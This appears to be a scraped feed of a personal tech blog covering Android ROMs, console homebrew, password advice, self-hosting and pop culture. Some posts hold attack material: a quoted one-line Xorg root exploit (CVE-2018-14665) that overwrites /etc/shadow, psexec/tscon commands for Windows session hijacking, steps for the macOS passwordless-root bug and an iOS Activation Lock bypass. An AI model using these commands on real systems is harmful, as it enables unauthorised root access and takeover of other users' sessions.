Setting up openssl-tool (1.1.1g-4) ...
➜  sm64-port-android git:(master) sha256 baserom.us.z64   
SHA256(baserom.us.z64)= 17ce077343c6133f8c9f2d6d6d9a4ab62c8cd2aa57c40aea1f490b4c8bb21d91
➜  sm64-port-android git:(master) md5sum baserom.us.z64 
20b854b239203baf6c961b850a4a51a2  baserom.us.z64
➜  sm64-port-android git:(master) ./getSDL.sh
~/Development/sm64-port-android/SDL ~/Development/sm64-port-android
--2020-09-20 11:56:47-- https://www.libsdl.org/release/SDL2-2.0.12.zip
Resolving www.libsdl.org... 2604:a880:1:20::181:e001, 192.241.223.99
Connecting to www.libsdl.org|2604:a880:1:20::181:e001|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6784187 (6.5M) [application/zip]
Saving to: ‘SDL2-2.0.12.zip’

SDL2-2.0.12.zip                       100%[=======================================================================>]   6.47M  5.65MB/s    in 1.1s    

2020-09-20 11:56:49 (5.65 MB/s) - ‘SDL2-2.0.12.zip’ saved [6784187/6784187]

~/Development/sm64-port-android
➜  sm64-port-android git:(master) make --jobs 4
...
cp build/us_pc/sm64.us.f3dex2e.unsigned.apk build/us_pc/sm64.us.f3dex2e.apk
apksigner sign --cert certificate.pem --key key.pk8 build/us_pc/sm64.us.f3dex2e.apk
➜  sm64-port-android git:(master) ls
Android.mk   Makefile.split  assets           charmap.txt       enhancements       key.pk8        sm64.jp.sha1  text
CHANGES      README.md       assets.json      charmap_menu.txt  extract_assets.py  levels         sm64.ld       textures
Dockerfile   SDL             baserom.us.z64   data              first-diff.py      lib            sm64.sh.sha1  tools
Doxyfile     actors          bin              diff.py           format.sh          rename_sym.sh  sm64.us.sha1  undefined_syms.txt
Jenkinsfile  android         build            diff_settings.py  getSDL.sh          rsp            sound
Makefile     asm             certificate.pem  doxygen           include            sm64.eu.sha1   src
➜  sm64-port-android git:(master) ls build 
us_pc
➜  sm64-port-android git:(master) ls build/us_pc 
actors  bin   endian-and-bitwidth  level_rules.mk  lib         rsp                  sm64.us.f3dex2e.unsigned.apk  src   textures
assets  data  include              levels          libmain.so  sm64.us.f3dex2e.apk  sound                         text
➜  sm64-port-android git:(master)

OnePlus 7 Pro: LineageOS+MicroG

Mon, 31 Aug 2020 00:00:00 -0400

After a full weekend of originally getting CrDroid on my new OnePlus 7 Pro a few months back, I decided to switch to LineageOS+MicroG because I was never able to get location working on CrDroid. This was mostly due to the changes in Android 10, but when I was still unable to get it working with the new UnifiedNLP package, I just decided it was easier to switch & settled for reinstalling MicroG, which I had avoided on CrDroid because I wanted to avoid as many Google services as possible.

OnePlus 7 Pro: Update System Firmware on Custom ROM

Mon, 31 Aug 2020 00:00:00 -0400

Follow up to the OnePlus 7 Pro: LineageOS+MicroG post, where I mentioned I would have to update the Bluetooth & Modem firmware on my device. This fortunately went as smoothly as the LineageOS+MicroG install, so I’m very happy about that.

The first step was downloading the latest OxygenOS ZIP through this post: XDA Developers: [ROM][STOCK][FASTBOOT][OP7P] Stock Fastboot ROMs for OnePlus 7 Pro/ 7 Pro 5G by mauronofrio. The specific ZIP i pulled down from Android File Host was “10.0-GM21AA-OnePlus7ProOxygen_21.O.20_OTA_020_all_1909172051_db7a3f61-FASTBOOT.zip”. From there, it was just a simple matter of extracting that, images.zip, & flashing the bluetooth.img & modem.img files:

Remapping Hardware Buttons: Mi MIX 3

Sun, 02 Jun 2019 00:00:00 -0400

Now that I was able to get my Mi MIX 3 setup with TWRP & a custom ROM (unofficial LineageOS 16 build), I started looking into remapping the AI button to something actually useful. I found a few posts to point me in the right direction, as well as a Magisk module that is supposed to handle this:

StackOverflow: ADB Shell Input Events
Android Developers: KeyEvent
StackOverflow: Need table of key codes for android and presenter

I tried out a bunch of the codes to see what would work, & for now just remapped the key to SEARCH, until I can find something better \ more useful.

Custom ROM on Mi MIX 3

Mon, 27 May 2019 00:00:00 -0400

I recently picked up a Xiaomi Mi MIX 3 & was able to unlock the bootloader after the 72 hour waiting period. That wasn’t a problem, however getting TWRP up & running was where I had a problem.

For some reason, whenever I would flash TWRP, but device was stuck in a fastboot loop – could not reboot out of it, boot the TWRP image, or any other method of exiting fastboot. I finally got TWRP working properly after flashing perseus_global_images_9.5.17_20190517.0000.00_9.0 _global_134d3070e5.tgz. I tried flashing one of the China ROM’s, & that was of no help.

Show Actual Clients in Pi-Hole Console

Mon, 15 Apr 2019 00:00:00 -0400

Finally took care of something I’ve been meaning to do for a while… I now have my Pi-Hole showing the real client source IP’s instead of the router & localhost. I have this post to thank: Pi-Hole Discourse: [SOLVED] Can’t see device list on Pi-Hole Admin.

Protecting Linux Login with 2FA

Tue, 22 Jan 2019 00:00:00 -0400

This is definitely not the first time I’ve tried getting this working, but glad I was finally able to. Looks like if I had read a bit more, I never would have run into issues…

By the second or third time I ran into problems, I at least figured out why: with my home directory being encrypted, the “secret” 2FA files could not be accessed & verified.

Now for the fun part… It looks like Google had the instructions for encrypted home directories in the README the whole time.

Password "Complexity" Requirements"

Sat, 05 Jan 2019 00:00:00 -0400

I actually forget what web site this one, but found this little gem while trying to setup a new account:

I guess my password doesn’t meet their requirements?

Then I decide to use this instead.

No, I didn’t actually make my password “password123” but I would have thought a site warning my against it wouldn’t allow “password”+< something >. The fact that it wouldn’t accept my random password probably should have been my first hint that it was not going to go well.

FINALLY Got my OpenVPN Server Setup on My DD-WRT Router

Tue, 01 Jan 2019 00:00:00 -0400

This took way longer than I would have liked, but at least it seems to be working right now.

After moving recently, I needed to purchase a new router, leaving my rooted Google WiFi AP’s behind. I decided to replace it with a D-LINK AC2600 EXO MU-MIMO Wi-Fi Router. After some more router related fun, I was able to get DD-WRT custom firmware running on the device. With that finally in place, my next project was to get the OpenVPN Server feature enabled. I had all the certificates & keys I needed, it was just a matter of getting the right config in the DD-WRT Admin GUI. Below is what I finally had in the “Additional Config” field that, that ended up working:

Nintendo Switch Theme: Deadpool Playing Pokemon: ClearLayout

Sun, 30 Dec 2018 00:00:00 -0400

Trying to get into Switch theming, so this is my first attempt:

Deadpool Playing Pokemon: ClearLayout screenshot.

Download is available here. I also posted the theme to /r/NXThemes: My First Theme: Deadpool Playing Pokemon: ClearLayout.

New Nintendo Switch Payload: ArgonNX

Sat, 29 Dec 2018 00:00:00 -0400

Guillem96 has a new payload available on GitHub: argon-nx.

As he states in the description there, it’s meant to be used to choose which payload you’d actually like to launch; just use the ArgonNX payload, & then choose from any BIN you have located in the \argon\payloads\ directory. What’s nice about this is that you can choose the logos to go along with each BIN. Still have some work to do, but this is what my selection screen looks like right now:

Homebrewing ALL THE THINGS

Thu, 13 Dec 2018 00:00:00 -0400

Pretty accurate description of what I’ve been up to recently.

Since getting homebrew running on my Nintendo Switch, I’ve been booting up some old hardware & getting homebrew &\or custom firmware running there. The most recent three after the Switch have been my Nintendo Wii U, PlayStation Vita, & PlayStation 3. I’ve had CFW running on my Vita for a while, but also haven’t turned it on in ages. I came back to some interesting to features in the homebrew scene which was a nice surprise.

Moving from Authy to Another 2FA App

Mon, 12 Nov 2018 00:00:00 -0400

Despite the convenience of having Authy’s ability to sync across devices, I decided I wanted to change my 2FA app to Android’s andOTP. To do this (without unenrolling & re-enrolling myself in 2FA for my 50+ services), I needed to find a way to export my secrets from Authy. I did find a few posts on the topic, but didn’t have any luck with those guides. Most seemed to be a variation on the same process of getting the secrets from the Authy Chrome extension.

Nintendo Switch: ReiNX Splashscreen

Fri, 09 Nov 2018 00:00:00 -0400

Now that I’ve finally started getting homebrew running on my Switch, figured I’d put together a quick ReiNX splashscreen, similar to one of the Luma3DS ones:

Luma3DS XL “BIOS” splashscreen at boot.

My first attempt at a “BIOS” boot splashscreen for the Switch.

CVE-2018-14665: Exploit in a Tweet

Fri, 26 Oct 2018 00:00:00 -0400

Hacker Fantastic has another Tweet-able exploit for a system:

#CVE-2018-14665 - a LPE exploit via https://t.co/eax3fvaAjE fits in a tweet

cd /etc; Xorg -fp “root::16431:0:99999:7:::” -logfile shadow :1;su

Overwrite shadow (or any) file on most Linux, get root privileges. *BSD and any other Xorg desktop also affected.— Hacker Fantastic (@hackerfantastic) October 25, 2018

Twitter: @HackerFantastic

Scammers Using Microsoft's Support Site

Thu, 18 Oct 2018 00:00:00 -0400

I just came across this video (posted yesterday), where scammers are leveraging Microsoft’s legitimate support site at https://support.microsoft.com/help. This was after I received a fake Microsoft support call. Unfortunately, I didn’t have a dummy VM ready to waste their time, but glad I found out about the use of Microsoft’s site. Because Microsoft uses LogMeIn, their support site seems to just forward the code to LogMeIn to start the session.

See the video below for how the site is used:

Finally Found a KeePassXC Client for iOS!

Tue, 09 Oct 2018 00:00:00 -0400

Found out about this app from /r/KeePass: KyPass 4 (iOS) TOTP?

I’ve always had a problem trying to get an iOS app that would work with KeePassXC databases. Seems to be working fine right from the start, so definitely worth the $6.99 price tag.

Useful Medium Articles

Mon, 08 Oct 2018 00:00:00 -0400

Two Medium articles that I end up using over & over & want to make sure I save:

Medium: Run ResilioSync (Btsync) as normal user under Ubuntu
Medium: Upgrade Your SSH Key to Ed25519

ANOTHER GOOD article about passwords

Thu, 04 Oct 2018 00:00:00 -0400

Very glad to see another post by a site, giving good information on handling passwords, security question answers, & the recommendation to use password managers. I last had a post about this in July, when Dreamhost also put out a good article about creating strong passwords for account security. The link to that article is below as well.

Lifehacker: Use Your Password Manager for Security Answers, Too

Dreamhost: How to Create Strong Passwords to Keep Your Website Safe

ASCII Art: Random "Image"

Wed, 03 Oct 2018 00:00:00 -0400

Found this repository on GitHub & figured I’d fork it & add some of my own graphics to it: GitHub: DanCRichards / ASCII-Art-Splash-Screen

And here is my fork: GitHub: veritas06 / ASCII-Art-Splash-Screen

So far all I’ve done is modify the script to look at my GitHub repository (instead of DanCRichards’) & add a single graphic, just to test it out.

De-google-ify Internet

Sun, 23 Sep 2018 00:00:00 -0400

Found this site on https://lobste.rs. Has so great, open alternatives to proprietary services: Framasoft: De-google-ify Internet.

The Framasoft web site also seems to have some great information on this topic as well.

A network dedicated to globally promoting “free” and particularly free software.
Many services and innovative projects freely put at the disposal of the general public.
A community of volunteers supported by a public interest association.
An invitation to build together a world of sharing and cooperation.

Linux on Samsung Galaxy TabPro S

Sun, 23 Sep 2018 00:00:00 -0400

I have picked ap a Galaxy TabPro S a year or two ago, but didn’t end up using it much since it was running Windows. I had always planned to try out Linux on it, but never got around to it until now. I installed Xubuntu, just to have a light OS, & the only issue is related to getting wireless working. It is however a quick fix:

GitHub: infernix/samsung_tabpro_s

Just need to clear the contents of /lib/firmware/ath10k/QCA6174/hw3.0/*, & then place the two files from the GitHub repo. After a reboot, wireless was working with no additional changes needed.

Setting Up Media Drive Sync

Mon, 06 Aug 2018 00:00:00 -0400

I have two external hard drives for my media, one to hold all of my downloads, & the second attached to an Nvidia Shield TV which I use as a Plex server. Since getting Plex setup there, I’ve been looking for a way to keep both drives up-to-date so that I don’t have to manually copy files to each drive when I download. I’ve been trying to get rsync running on the Shield, but then remembered Syncthing. Because of the amount of data, the initial check is going to take a few days, but I’m hoping this will be a good way to keep the drives updated.

Android: Opera Touch Browser Bug

Thu, 26 Jul 2018 00:00:00 -0400

Thought this was worth sharing…:

[video src=“https://v3ritas.tech/wp-content/uploads/2018/07/screenrecord-2018-07-25-21-10-19.mp4" ]

I will have to find some way to kill it, but good to know it can open that many tabs…

UNCHARTED: Live Action Fan Film (2018), Staring Nathan Fillion

Mon, 16 Jul 2018 00:00:00 -0400

I am pro- _anything_ with Nathan Fillion, so seeing this definitely brightened my day!

Rebuilding Laptop OS

Sun, 15 Jul 2018 00:00:00 -0400

So I made the mistake of attempting to get 2FA setup to login to my Ubuntu MATE laptop (i.e.: Linux.com: How to Set Up 2-Factor Authentication for Login and sudo). Well, that didn’t go well. I’m pretty sure I had the same problem this time around as the last time – since my Home directory is encrypted, login couldn’t read the Google Authenticator config from my ~/.config/. Ended up locking myself out of my system, couldn’t access my encrypted home drive & ended up blowing my system away. Fortunately, I don’t usually save oo much to my local drive (for reasons like this) but I did lose some simple image work I was doing, so that kind of sucks…

FINALLY: A Good Password Management Article

Thu, 12 Jul 2018 00:00:00 -0400

DreamHost recently posted an article on their site about password management: DreamHost: How to Create Strong Passwords to Keep Your Website Safe. Just the list of points is much better than what I’m used to seeing:

Make your password long.
Don’t use a common phrase.
Test your password.
Don’t reuse your password.
Use a password manager.
Don’t store passwords in your browser.
Follow the rules every time.
Use two-factor authentication.
Consider the Passphrase/Diceware Method.
Use security questions wisely.
Keep an eye on your smartphone.

I still have to actually read the specifics for each, but that list alone is a great guide on modern password management.

iOS' USB Restricted Mode "Loophole"

Tue, 10 Jul 2018 00:00:00 -0400

Everyone seems to be trying to point out this “loophole” as a huge deal, getting in the way of the new feature in iOS 11.4.1 that disables the USB port for anything but charging if the device has been locked for more than an hour (or S.O.S. mode is activated on the device).

The “loophole” that people are calling a flaw is that if certain Lightning-connecting accessories are connected within the one-hour window, the timer is stopped. This does not apply to all lightning accessories, as the Lightning-to-3.5mm jack accessory does not reset the count. Apple’s Lightning-to-USB 3 Camera Adapter, however, is one of the accessories that stop the countdown. This makes perfect sense, as it allows the user to connect an accessory without the need to unlock first. If the device is in a pocket, then said accessory can just be connected. It would be one thing if Lightning accessories were trusted the same way as computers are, but that is not the case here. There is no cryptographic key exchange when connecting accessories so the device doesn’t know one accessory from another, without manufacturers making changes to their products.

Magisk on Project Treble ROMs

Tue, 10 Jul 2018 00:00:00 -0400

So it looks like LineageOS 15.1 for the Xiaomi Mi MIX 2 is now Treble supported, which is apparently leading to Magisk issues, at least for me…:

Archive: /sdcard/Magisk-v16.6.zip inflating: META-INF/com/google/android/update-binary inflating: META-INF/com/google/android/updater-script inflating: arm/magiskboot inflating: arm/magiskinit inflating: chromeos/futility inflating: chromeos/kernel.keyblock inflating: chromeos/kernel_data_key.vbprivk inflating: common/addon.d.sh inflating: common/boot_patch.sh inflating: common/magisk.apk inflating: common/util_functions.sh inflating: x86/magiskboot inflating: x86/magiskinit inflating: META-INF/MANIFEST.MF inflating: META-INF/CERT.SF inflating: META-INF/CERT.RSA ************************ * Magisk v16.6 Installer ************************ - Mounting /system, /vendor mount: can't find /vendor in /etc/fstab ! Cannot mount /vendor - Unmounting partitions Updater process ended with ERROR: 1 I:Install took 4 second(s). Error installing zip file '/sdcard/Magisk-v16.6.zip'

Instagram Feed

Mon, 09 Jul 2018 00:00:00 -0400

I’m trying to use the Instagram account I created for the site more, so I’ve added a feed to the Social Media page of the site. An example is also below:

[instagram-feed]

Nintendo 2,3DS Theming: Deadpool

Fri, 06 Jul 2018 00:00:00 -0400

Deadpool theme for 2/3DS. Used two different editors to fill everything in: - GitHub: exelix11/YATA-PLUS - Github: usagirei/3DS-Theme-Editor

Preview of the theme: [caption id=“attachment_346” align=“aligncenter” width=“412”] Deadpool theme that I put together[/caption]

Hoping to get these posted on Theme Plaza, but still waiting for them to approve my uploads.

Nintendo 2,3DS Theming

Wed, 04 Jul 2018 00:00:00 -0400

Trying to get back into theming again. To start back up, I just made a simple Skull theme: [caption id=“attachment_308” align=“aligncenter” width=“412”] My third theme. Something simple to get used to this again.[/caption]

Available at: Theme Plaza: Skulls

Apple's Warning Against Jailbreaking

Thu, 21 Jun 2018 00:00:00 -0400

Seeing as how the Electra 11.3.1 jailbreak is supposed to be released soon, it looks like Apple put out a statement on why you shouldn’t jailbreak: Apple: Unauthorized modification of iOS can cause security vulnerabilities, instability, shortened battery life, and other issues. I definitely find that ironic…

Security Vulnerabilities: I’ve seen jailbreak developers release patches for devices with Cydia before Apple puts them out
Instability: Okay, sure. But if an occasional crash is the cost of having things like themes & hooks into Springboard, it’s a price I’m willing to pay. Especially because iOS isn’t that much more stable without being jailbroken.
Shortened Battery Life: This coming from the company that was secretly throttling older device “to save battery life”. Sorry if I don’t believe this one.

I have not yet read the rest of the page, but I’m sure it will be much of the same above. I’m not interested in Jailbreaking to download free apps; it’s for the ability to customize the device i own & want to do with as i please.

New Site Icon, Logo

Sat, 16 Jun 2018 00:00:00 -0400

I created a new icon to be used for anything related to the site or v3ritas in general.

[caption id=“attachment_286” align=“aligncenter” width=“625”] New favicon for my site & other places[/caption]

[caption id=“attachment_295” align=“aligncenter” width=“625”] Site logo, colorized.[/caption]

Nintendo Switch Homebrew

Wed, 25 Apr 2018 00:00:00 -0400

I’ve been keeping an eye on this scene for a while now, eagerly awaiting the release of Fusée Gelée from Kate Temkin since she revealed the capabilities of the flaw. I’m a huge fan of releases like these that let you have more control over the system that you purchased, whether it be rooting an Android device, jailbreaking an Apple one, or getting Custom Firmware running on a Nintendo 2/3DS. I like those processes because it opens the platform to more customization, & not because of the ability to pirate games. Unfortunately, that part almost always follows when these techniques get released, which ends up giving users who want more open platforms a bad name.

Caution Around Answering "Security Questions" Accurately

Mon, 09 Apr 2018 00:00:00 -0400

A post by Brian Krebs on his site, https://krebsonsecurity.com prompted me to write up a post as well. He accurately recommends not answering those Social Networking questionnaires that ask for things like “What was your first car?” or “What was your favorite teacher’s name?”, with accurate (or even ANY) details. I’m sure for many people, it’s already too late, so there is definitely another alternative: Go back to any site where you did answer these common questions, & change the answers to something else, i.e.: the answer to a different question, or just garbage text. See below for an example:

Twitter Austria & Storing Plaintext Passwords?

Mon, 09 Apr 2018 00:00:00 -0400

Just found this great Twitter thread: @c_pellegrino: Does T-Mobile Austria in fact store customers’ passwords in clear text @tmobileat? @PWTooStrong @Telekom_hilft

Something good that came out of this (just for me I guess), was finding out about this web site: Plain Text Offenders.

Ociacia Vladislav: Ociacia Robots

Thu, 29 Mar 2018 00:00:00 -0400

Found this user’s site while browsing around & thought the work was great & wanted to save it here for reference. OCIACIA ROBOTS [caption id=“attachment_248” align=“aligncenter” width=“739”] http://www.bulldozer-vfx.com[/caption]

Silicon Valley: Facebook \ Фейсбук

Mon, 26 Mar 2018 00:00:00 -0400

During the Silicon Valley opening credits, the Facebook logo flipped from English to Russian. First-rate burn by one of the best series on TV. pic.twitter.com/zvh9ZPd3td

— Adam Best (@adamcbest) March 26, 2018

Happy [Early] Halloween...

Fri, 23 Mar 2018 00:00:00 -0400

Great video on YouTube:

Nintendo Switch Console & Joy-Con Case Replacement

Thu, 22 Mar 2018 00:00:00 -0400

So it took me two attempts to get this done, but it was definitely worth it. I used the below kit & YouTube video for direction.

Amazon: BASSTOP [Update Version] DIY Replacement Housing Shell Case Set for Switch NS NX Console and Right Left Switch Joy-Con Controller without Electronics(Set-Atomic Purple)
YouTube: How To Mod Your Nintendo Switch and Joy-Con
Below are some of the in-progress & completed photos of the mod:

^^^ Switch console with the back panel removed.

Black Mirror: Season 05

Mon, 05 Mar 2018 00:00:00 -0400

Yes! The future will be brighter than ever

YAPSF (Yet Another Apple Security Flaw): Info.plist Path Traversal

Mon, 05 Mar 2018 00:00:00 -0400

Abraham Masri (iabem97) has revealed a new flaw in Apple latest iOS 11.3 beta, allowing an Info.plist file to grab a file outside of the current application’s sandbox. Granted this is a beta OS, but still, this is another example of Apple seemingly rushing a release, & having all sorts of flaws. This is just the latest one.

Redmond Pie: Abraham Masri Drops iOS 11.3 0day Vulnerability, Here’s What That Means For Future Jailbreak GitHub: iabem97/securityd-racer2 And here is the Wiki write-up that explains how an app’s Info.plist file can access another app’s icon: GitHub: iabem97/writeups: Info.plist Path Traversal

Setting up an SSH Server on Android through Termux

Mon, 29 Jan 2018 00:00:00 -0400

After a little trial & error, I was finally able to get an SSH server running on Android through Termux. Some help from the following three articles as well:

Glow.li: Run an SSH server on your Android with Termux
Termux Help: Using SSH
webOS Internals: Dropbear Install

You have to make sure you have the openssh package installed. If not, run pkg install openssh. Then start the service via sshd. Something I didn’t realize at first was that the default port was changed to 8022, instead of the standard 22. Fine by me, considering I wanted to change it from the default anyway.

New "Ready Player One" Trailer!

Mon, 11 Dec 2017 00:00:00 +0000

I am cautiously optimistic about this movie; i just hope it can live up to the hype. The book is definitely one of my favorites, so i don’t want the movie to ruin that for me. Watch the trailer below!

I also didn’t realize there was already a teaser released. See that below as well:

December 2017 Posts

Fri, 01 Dec 2017 00:00:00 +0000

macOS: root User Account Vulnerability

Wed, 29 Nov 2017 00:00:00 +0000

Yesterday it was revealed that macOS has a critical bug that allows any user with physical access to a device, to login as the root user with no password. I have tested this myself, via the process below:

Open System Preferences > Users & Groups
Select the lock [ ? ] in the bottom left-hand corner of the window.
Clear the pre-filled username, & replace it with “root” & select [Unlock]. [caption id=“attachment_115” align=“aligncenter” width=“431”] Screenshot of using the root account with no password/[/caption]- Once the attempt is rejected, try again with the same settings as above. I’ve read from a few different sources that say to do it a few times, before you are allowed in. During my testing, I just had to attempt it twice, & I was in.

In order to fix this issue, you must change the root password through the Directory Utility. Open the app, hit the lock [ ? ] to enter your credentials (or use the root exploit again) then go to Edit > Change Root Password… NOTE: You MUST choose to change the password. Simply disabling the root account does not correct the issue. If you disable the account, running through the same process for the exploit reactivates the root account without a password.

The 13th Doctor's Outfit Revealed

Thu, 09 Nov 2017 00:00:00 +0000

Looks like the BBC’s twitter account has revealed the 13th Doctor’s outfit for the new series:

iOS 11.1 Activation Lock Bypass

Thu, 02 Nov 2017 00:00:00 +0000

Looks like iOS has yet another Activation Lock bypass… Seems like all you have to do is have a device that is Activation Locked with an account that has 2FA enabled. Once that is set, you enter the wrong passcode several times, until you are timed out for an hour. Wait for the timer to run down, doing it a few more times, & you should bypass the activation lock. See the attached video for a demonstration I found on YouTube.

November 2017 Posts

Wed, 01 Nov 2017 00:00:00 +0000

Philip K. Dick: "Electric Dreams" TV Series on Amazon Prime

Fri, 06 Oct 2017 00:00:00 +0000

I will definitely be checking this out…

[embed]https://youtu.be/470TG3AdA1A[/embed]

Thanks to iO9 \ Gizmodo for posting it: Holy Crap, the Philip K. Dick Electric Dreams TV Series Looks Amazing

Linkin Park: One More Light (Official Lyric Video)

Tue, 03 Oct 2017 00:00:00 +0000

[embed]https://youtu.be/8hP6WROycAU[/embed]

R.I.P. Chester Bennington

October 2017 Posts

Sun, 01 Oct 2017 00:00:00 +0000

Pokkén Tournament DX: Clothing Codes

Sat, 30 Sep 2017 00:00:00 +0000

[caption id=“attachment_89” align=“aligncenter” width=“739”] Screenshot after a victory with Shadow MewTwo.[/caption]

Placing this here for reference for myself, & anyone else interested. Don’t include the dashes. I just added them for easier reading. Simple T-Shirt Set: Male: TC2J-Y22V-BQUU Female: J7XE-EQLY-NDMT

Old Leather Jacket Set: Male: 6GSS-ALLD-M9RL Female: NQLM-EMRG-X37X

Hamburger Hat & Short Bob: Male: H5D9-YZFE-TCQZ Female: USBX-KG8X-4GLG

Source: BulbaNews: Clothing codes revealed for Pokkén Tournament DX

Windows: Session Hijacking

Sat, 30 Sep 2017 00:00:00 +0000

Session Hijacking: Have to be Local Admin: cmd psexec -s \\localhost -i 2 taskmgr Right Click > Connect cmd query user tscon 1 — Denied tscon 1 /dest:console — Denied psexec -s \\localhost cmd whoami query user tscon 1 /des:console

Sonic Mania

Thu, 07 Sep 2017 00:00:00 +0000

Loving the game so far… It looks like they finally learned what users wanted: a game truly modeled off the classic Genesis games, same graphics, music, level design… Happy to have my first Chaos Emerald with Knuckles too =]

September 2017 Posts

Fri, 01 Sep 2017 00:00:00 +0000

My First 2/3DS Theme: UFC: Ronda Rousey

Sun, 20 Aug 2017 00:00:00 +0000

So I created my first 3DSThem.es 2/3DS theme, which thankfully, was much simpler than I was expecting, thanks to YATA PLUS. It pretty much does all the work for you, just need to import the properly-sized images. 3DSThem.es: UFC: Ronda Rousey [caption id=“attachment_77” align=“aligncenter” width=“400”] Preview of my first 2/3DS theme.[/caption]

Don't Change that Pa$$w0rd

Thu, 10 Aug 2017 00:00:00 +0000

So I feel like this is a discussion that needs to be had, mainly because of this article: Engadget: The man who put us through password hell regrets everything. There is just so much wrong with this article, I’ll try to take it idea by idea.

It is incredibly frustrating to constantly think of new passwords with a capital letter, a special character and numbers that isn’t a variation on your old password.

Mr. Robot: Season 03 Teaser

Fri, 04 Aug 2017 00:00:00 +0000

Just saw that this was released & makes me even more excited for next season…

August 2017 Posts

Tue, 01 Aug 2017 00:00:00 +0000

Deadpool 2: Domino Photo!

Mon, 31 Jul 2017 00:00:00 +0000

Cannot wait for this movie to be released, & Ryan Reynolds just posted a photo of Domino, a la a Deadpool (1) edit:

[caption id=“attachment_39” align=“alignleft” width=“300”] Promo photo from the original Deadpool Movie[/caption]

[caption id=“attachment_40” align=“alignleft” width=“300”] Edit of a promo photo from DeadPool 1[/caption]

R.I.P. Chester Bennington

Sun, 23 Jul 2017 00:00:00 +0000

#RIPChester [caption id=“attachment_26” align=“alignnone” width=“300”] RIP Chester Bennington[/caption]

Rooting Google WiFi

Sat, 22 Jul 2017 00:00:00 +0000

Plenty of other sites have already brought this up, but I wanted to have it referenced here for myself. I gave it a shot for myself & while I think I followed it all the way through, still seem to be missing the root access part. Will have to give it another round & see which step I may have missed.

GitHub: marcosscriven/galeforce

Remove the screw & gently pry off the bottom of the unit.
Hold the [RESET] button while plugging in a USB-C adapter with Power Delivery. The two I bought to use are: (1) dodocool USB C Hub Type C 3.1 Power Delivery, (2) USB-C Hub, iClever Mutiport Adapter
Keep the [RESET] button held until the status light is blinking orange
Next step, press “the tiny bubble switch” that marcosscriven shows in his post
The status light will then blink purple again, & then restart itself
Wait for the device to complete the reboot, & begins blinking purple again
Insert the pre-formated USB stick & press the “bubble switch” once more. You should then be all set!

Here is where I ran into the issue. At this point you should be able to login as root:

Round 3?

Sat, 22 Jul 2017 00:00:00 +0000

So this will now be the third time I’ve made up this site? Seem to randomly be losing access or run into some issue or another. But, let’s see how long it lasts this time.

July 2017 Posts

Sat, 01 Jul 2017 00:00:00 +0000

2017 Posts

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Mon, 01 Jan 0001 00:00:00 +0000

selfh.st: Command Corner

There are some extremely useful commands here, & I just wanted to have them noted down somewhere.

`tr -dc A-Za-z0-9_ < /dev/urandom | head -c 16 | xargs`

Use tr -dc A-Za-z0-9_ < /dev/urandom | head -c 16 | xargs to quickly generate a password from the command line (create a bash alias for quick reference in the future):

$ tr -dc A-Za-z0-9_ < /dev/urandom | head -c 16 | xargs
nfZY12B8v9ppdayQ

`ls | wc -l`

Use ls | wc -l to quickly count the number of files & folders in the current directory:

$ ls | wc -l
8

`for i in *; do test -d $i && du -sh $i; done`

` Use for i in *; do test -d $i && du -sh $i; done to output a list of directories in the current folder and their sizes (skipping files and subdirectories):

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Self-Host Weekly (17 October 2025), by Ethan Sholly

nginx with Pi-Hole v6

w33k in g33k: October 10, 2025

Android

Games

Hardware

Privacy

Meshtastic

Miscellaneous

Self-Host Weekly (10 October 2025)), by Ethan Sholly

Apprise Config File

GitHub: caronc / apprise

Config File: ~/.config/apprise/config.yaml

w33k in g33k: October 03, 2025

selh.st: Self-Host Weekly (3 October 2025), by Ethan Sholly